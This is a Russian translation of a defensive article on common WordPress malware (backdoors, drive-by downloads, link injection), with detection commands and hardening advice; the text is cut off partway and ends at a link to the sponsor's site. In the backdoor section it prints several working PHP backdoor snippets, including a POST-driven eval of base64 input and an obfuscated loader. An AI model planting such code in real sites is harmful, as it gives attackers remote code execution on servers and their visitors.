Распространенные вредоносные инфекции WordPress

Безопасность WordPress это серьезный бизнес. Эксплуатация уязвимостей в архитектуре WordPress привела к массовым компрометациям серверов через кросс-сайтовые заражения. Расширяемость WordPress усиливает эту уязвимость, плагины и темы это приют для дефектной логики, лазеек, пасхальных яиц, бэкдоров и множества других проблем. Вы можете очень сильно расстроится, запустив свой компьютер, и обнаружив, что он поддерживает какие-то случайные процессы и продает виагру. WordPress Security В ядре ​​WordPress, все вопросы безопасности решаются быстро; команда WordPress ориентирована на строгом сохранении целостности приложения. То же самое, однако, не может быть сказано обо всех плагинах и темах. Основная идея этого поста не в том, чтобы дополнить ошеломляющее число постов на тему безопасности WordPress или закалки WordPress, которые вы видите блуждая по закаулкам Интернета. Лучше, мы предоставим больше информации связанной с тем, от чего вам нужно себя защитить. К каким хакам пользователи WordPress особенно уязвимы? Как они проникают? Что они делают на веб-сайте WordPress? В этой длинной статье, мы рассмотрим бэкдоры, drive-by downloads атаки, фарма хак и вредоносные редиректы. Обратите внимание, что некоторые антивирусные программы выводят отчет об этой статье, как о вредоносной программе, вероятно, потому что она содержит примеры кода, которого следует избегать. Эта статья не содержит никаких вредоносных программ, поэтому предупреждение должно быть основано на эвристическом анализе.

В течение последних двух лет, количество вредоносного программного обеспечения в интернете выросло примерно на 140%. В то же время, произошел взрыв популярности WordPress в качестве платформы для блогов и CMS, по состоянию на сегодня под его управлением работает около 17% веб-сайтов. Но популярность имеет свою цену, она делает WordPress мишенью для веб-угроз. Почему? Очень просто: его доступность дает возможность для максимального воздействия. Конечно, популярность это хорошая вещь, но она также делает нас, пользователей WordPress, уязвимыми.

Немного о нашем эксперте по безопасности: Встречайте тони

Не имея технических знаний, необходимых для углубления в подробности, я пригласил соавтора, который помог мне. Техническую информацию предоставляет Тони Перез, исполнительный и финансовый директор компании Sucuri Security. Sucuri Security предоставляет сервисы обнаружения, оповещения и восстановления для борьбы с интернет-угрозами. Другими словами, она работает на скомпрометированные веб-сайты. Это означает, что Тони имеет подготовку, статистику и, самое главное, знания, чтобы действительно глубоко затронуть проблемы вредоносного программного обеспечения, которые наносят ущерб пользователям WordPress.

Я спросил Тони, как он связался с веб-безопасностью:

“ Я думаю, это было в 2009 году. Я управлял и проектировал широкомасштаные корпоративные решения для клиентов Министерства обороны (DoD) и путешествовал по миру. В этом процессе был небольшой пункт под названием соответствие с Руководством по безопасной технической реализации (STIG), которое подготовлено Агентством защиты информационных систем (DISA). Я знаю, труднопроизносимо, но так мы делали вещи в МО, и если у них не было акронима, они были чужеродными.

Как говорится, так было до тех пор, пока я не присоединился к Дре и Даниэлю в Sucuri Seurity, в начале 2011 года, тогда я действительно начал понимать то, что я считал каким-то сходством с меткой качества службы информационной безопасности.”

Вооружившись техническими знаниями Тони, мы взглянем на основные проблемы, которые наносят вред пользователям WordPress сегодня. Но прежде чем мы углубимся в детали, давайте посмотрим на некоторые из причин, почему пользователи WordPress могут быть уязвимы.

Что делает WordPress уязвимым?

Вот простой ответ. Старые версии WordPress, наряду с уязвимостями тем и плагинов, помноженными на популярность CMS, и замешанный во всем этом конечный пользователь, способствуют уязвимому веб-сайту.

Давайте это разрушим.

Первая проблема устаревшие версии WordPress. Всякий раз, когда выходит новая версия WordPress, пользователи получают придирчивые сообщения, но достаточно много пользователей успешно игнорирую придирки. Уязвимости ядра в них редко являются проблемой. Они действительно существуют; доказательство можно найти в самых последних релизах 3.3.3 и 3.4.1. Команда разработки ядра WordPress довольно хороша если требуется быстрый и эффективный выпуск обновлений безопасности, так что риск эксплуатации минимален, при условии, что пользователи WordPress обновляют свои установки. Это, к сожалению, суть проблемы, пользователи WordPress игнорируют сообщения. И это не просто неопытные и случайные пользователи WordPress, которые не обновляются. Последний громкий хак был на сайте Reuters, который работал на версии 3.1.1 вместо актуальной 3.4.1.

Уязвимости в плагинах и темах это другой вопрос. Репозиторий WordPress имеет 20000 плагинов и он растет. Плагины разного качества, некоторые из них неизбежно имеют лазейки в безопасности, а другие устарели. Кроме того, рассмотрите все темы и плагины за пределами официального репозитория, в том числе коммерческие продукты, которые распространяются бесплатно на Warez сайтах и ​​упакованы в комплекте с вредоносными программами. Google наш любимый поисковик, но он не так хорош для нахождения качественных WordPress тем.

Далее, популярность. WordPress популярен, без сомнения. Около 700 миллионов веб-сайтов были зарегистрированы как использующие WordPress в мае этого года. Эта популярность означает, если хакер может найти путь к одному веб-сайту WordPress, он имеет миллионы потенциальных сайтов-жертв для использования в качестве игровой площадки. Им не нужно, взламывать веб-сайты, которые используют последнюю версию WordPress, они могут сканировать сайты, использующие старые не безопасные версии и взламывать их.

Последнее и самое главное, величайшая помеха для пользователей WordPress это они сами. Как говорит Тони:

“ По какой-то причине существует такое восприятие среди пользователей WordPress, что самой трудной частью работы было заплатить кому-то за создание сайта и что как только он создан, все, дело сделано, никаких дальнейших действий не требуется. Может быть, так было семь лет назад, но не сегодня.

Легкость использования WordPress удивительна, но я думаю, что она дает обманчивое чувство уверенности конечным пользователям и разработчикам. Хотя, я думаю, это восприятие начинает изменяться.”

Из опыта Тони в Sucuri Security, наиболее распространенные уязвимости для использования сайта в своих целях это:

  • Устаревшее программное обеспечение,
  • Плохое управление учетными данными,
  • Плохое администрирование системы,
  • Мульти-сайтовые сервера,
  • Отсутствие знаний в области Web,
  • Срезание углов (выбор кратчайших путей из всех возможных).

Немного времени и образование, это все, что нужно, чтобы устранить эти проблемы и сохранить ваш WordPress сайт в безопасности. Это означает не только убедиться в том, чтобы вы, как эксперт WordPress образован, но и убедиться в том, что клиенты, которым Вы сдаете веб-сайты, тоже.

Эволюция атак

Характер взлома эволюционирует вместе с эволюцией интернета. Изначально взлом был совсем другим зверьком. Возвращаясь к тем дням, это было что-то вроде показа технической удали, манипулируя сайтом и делая что-то выходящее за рамки намерений вебмастера, часто из-за политических мотивов. Однажды вы просыпаетесь и понимаете, что поддерживаете оппозицию в Нигерии и Либерии. В наши дни, взлом всецело связан с деньгами. Недавняя вредоносная программа DNSChanger  (например, атака “Internet Doomsdsay”), к примеру, позволила хакерам сгрести почти в 14 миллионов долларов, прежде чем была остановлена ФБР и полицией Эстонии в прошлом ноябре.

Другая недавно появившаяся технология взлома это малнеты (вредоносные сети). Эти распределенные сети вредоносных программ используются для всего, в том числе кражи личных данных, DDoS-атак, рассылки спама, drive-by download атак, поддельных антивирусов и так далее. Хакеры автоматизируют свои атаки для максимального воздействия.

Автоматизация с использованием ботов не является их единственным механизмом. Сегодня у вас также есть автоматизация вредоносного программного обеспечения: использование инструментов для быстрого создания пэйлоада (например, инфекции), позволяет атакующему сосредоточиться исключительно на получении доступа к среде. Как только хакер получает доступ к среде, он копирует и вставляет автоматически сгенерированный пэйлоад. Одним из наиболее распространенных средств автоматизации является Blackhole Exploit Kit. Этот и многие другие наборы можно приобрести в Интернете за символическую плату. Эта плата покупает самообеспечивающиеся сервисы и заставляет комплект обновляться новыми инструментами для последних уязвимостей. Это настоящий завод.

общие проблемы связанные с Вредоносным кодом в WordPress

Тысячи типов вредоносных программ и инфекций активно функционируют в Интернете, к счастью, не все относятся к WordPress. В оставшейся части этой статьи мы рассмотрим четыре наиболее распространенных атаки на пользователей WordPress:

Бэкдоры

Бэкдор позволяет злоумышленнику получить доступ к вашей среде через то, что вы сочли бы необычными методами — FTP, SFTP, WP-ADMIN и т.д. Хакеры могут получить доступ к сайту с помощью командной строки или даже с помощью веб-интерфейса вроде этого:

backdoor gui screenshot Бэкдор GUI. Нажмите на изображение, чтоб увидеть полностью!

Оставленные без контроля, наиболее опасные из них могут привести к хаосу на вашем сервере. Их часто относят к межсайтовым случаям заражения — то есть, когда веб-сайты заражают другие сайты на том же сервере.

Как я атакован?

Атаки часто происходят в следствии устаревшего программного обеспечения или дыр в безопасности допущенных в коде. Уязвимость хорошо известная сообществу WordPress была найдена в скрипте TimThumb, который использовался для изменения размера изображения. Эта уязвимость позволяла хакерам загружать функциональную часть вируса, которая функционировала как бэкдор.

Вот пример просмотра сканером специально для уязвимых версий TimThumb:

Screenshot

Как это выглядит ?

Как и большинство инфекций, она может быть закодирована, зашифрована, конкатирована или представлена комбинацией вышеуказанного. Тем не менее, не всегда все так просто, как поиск зашифрованного кода, есть несколько случаев, в которых она выглядит как законный код. Вот пример:

Screenshot

Другой пример:

Screenshot

Ниже приведен случай, когда содержание скрыто в базе данных и нацелено на установки WordPress:

return @eval(get_option(\’blogopt1\’));

А здесь очень простой бэкдор, который позволяет выполнить любой PHP запрос:

eval (base64_decode($_POST["php"]));

Вот пример неряшливого бэкдора, специально нацеленного на уязвимости TimThumb:

Screenshot

Вот еще один бэкдор, который обычно поражает установки WordPress, Filesman:

Screenshot

Как я могу определить, инфицирован ли я?

Бэкдоры приходят в самых разных формах. В некоторых случаях, бэкдор это просто измененное название файла, как например:

  • wtf.php
  • wphap.php
  • php5.php
  • data.php
  • 1.php
  • p.php

В других случаях код встроен в, казалось бы, доброкачественный файл. Например, это было найдено в файле index.php темы, среди законного кода:

Screenshot

Бэкдоры сложны. Они постоянно развиваются, так что нет определенного способа сказать, что вы должны искать.

Как предотвратить это?

Не смотря на то, что бэкдоры трудно обнаружить, их предупреждение возможно. Чтобы взлом был эффективным, вашему сайту нужна точкой входа, доступная для хакера. Вы можете оградиться от бэкдоров, выполнив следующие действия:

  1.   Предотвратить доступ. Сделайте свою среду труднодоступной. Тони рекомендует трехсторонний подход к блокировке wp-admin:
    • Блокировка IP-адресов,
    • Двухфакторная аутентификация,
    • Ограниченный доступ по-умолчанию.

    Это сделает чрезвычайно трудным для всех, кроме вас, получение доступа к сайту.

  2. Убить выполнение PHP. Часто самым слабым звеном в любой цепи WordPress является каталог /uploads/. Это единственный каталог, который должен быть доступен для записи в вашей системе. Вы можете сделать его более безопасным, не допуская выполнения PHP. Это легко сделать. Добавьте следующие строки в файл .htaccess в корне директории. Если файл не существует, создайте его.
<Files *.php>
Deny from All
</Files>

Как это вычищается?

Как только вы нашли бэкдор, вычистить его довольно легко — просто удалите файл или код. Однако, поиск файла может быть сложным. В своем блоге, Кентон Бекер дает некоторые советы на тему способов зачистить ваш сервер от бэкдоров. Не существует серебряной пули для бэкдоров, как и для любой инфекции, бэкдоры могут быть простым или сложным. Вы можете попробовать делать некоторые основные поиски eval и base64_decode, но если ваш код выглядит как приведенный ниже, то становится трудно понять, что искать:

$XKsyG=’as’;$RqoaUO=’e’;$ygDOEJ=$XZKsyG.’s’.$RqoaUO.’r’.’t’;$joEDdb=’b’.$XZKsyG.
$RqoaUO.(64).’_’.’d’.$RqoaUO.’c’.’o’.’d’.$RqoaUO;@$ygDOEJ(@$joEDdb(‘ZXZhbChiYXN
lNjRfZGVjb2RlKCJhV1lvYVhOelpY…

Если вы знакомы с терминалом, вы можете войти в свой сайт с помощью SSH и попробовать некоторые методы. Самый очевидный и простой способ, поискать это:

# grep -ri "eval" [path]

Или это:

# grep -ri "base64_decode" [path]

r гарантирует, что все файлы проверяются, а i гарантирует, что сканирование чувствительно к регистру. Это важно, потому что вы можете найти вариации eval: Eval eVal evAl evaL или любые другие перестановки. Последнее, что вы хотите для своего сканирования это, чтоб оно сразу же провалилось, потому что вы были слишком точны.

Посмотрите на недавно измененные файлы:

find -type f -ctime -0 | more

-type ищет файлы, а -ctime ограничивает сканирование последними 24 часами. Вы можете посмотреть на последние 24 или 48 часов, указав -1 или -2, соответственно.

Другой вариант заключается в использовании команды diff. Она позволяет обнаружить различия между файлами и каталогами. В этом случае, вы должны использовать его для каталогов. Для того чтобы она была успешной, однако, вам нужно иметь чистые копии вашей системы и тем. Таким образом, это работает, только если у вас есть полная резервная копия сайта.

# diff -r /[path]/[directory] /[path]/[directory] | sort

Опция -r  рекурсивно проходит по всем каталогам, а команда sort сортирует отчет и делает его более удобным для чтения. Ключевым моментом здесь является, быстрая идентификация всего, что не относится к системе, так что вы можете запустить проверку целостности. Все, что вы обнаружите, в каталоге живого сайта, но не в каталоге резервной копии следует просмотреть второй раз.

Атака Drive-By Downloads

Атака Drive-by downloads это интернет эквивалент стрельбы из движущегося автомобиля. Технически, она, как правило, встраивается в ваш сайт через какой-нибудь тип сценарной инъекции, которая может быть связана со ссылочной инъекцией.

Смысл атаки Drive-by downloads, чаще всего, загрузить функциональную часть вируса (пэйлоад) на локальную машину вашего пользователя. Один из самых распространенных пэйлоадов информирует пользователя о том, что их сайт был заражен, и что они должны установить антивирусный продукт, как показано здесь:

Как попасть под атаку?

Есть несколько способов попасть под атаку. Наиболее распространенными причинами являются:

  • Устаревшее программное обеспечение,
  • Подвергнутые риску учетные данные (wp-admin, FTP),
  • SQL инъекция.

Как это выглядит?

Ниже приводится ряд примеров инъекции ссылок, которые ведут к некоторым типам атаки drive-by download:

Screenshot

И это:

Screenshot

И это:

Screenshot

В последнее время drive-by downloads и другие вредоносные программы функционировали в качестве условного вредоносных программ, оснащенных правилами, которые должны быть выполнены, прежде чем инфекция представит себя. Вы можете найти более подробную информацию о том, как условно вредоносные программы работают в посте блога Sucuri “Understanding Conditional Malware (Понимание условно вредоносных программ)“.



Если вы хотите прочитать полностью статью, посетите сайт наших спонсоров

Comments are closed.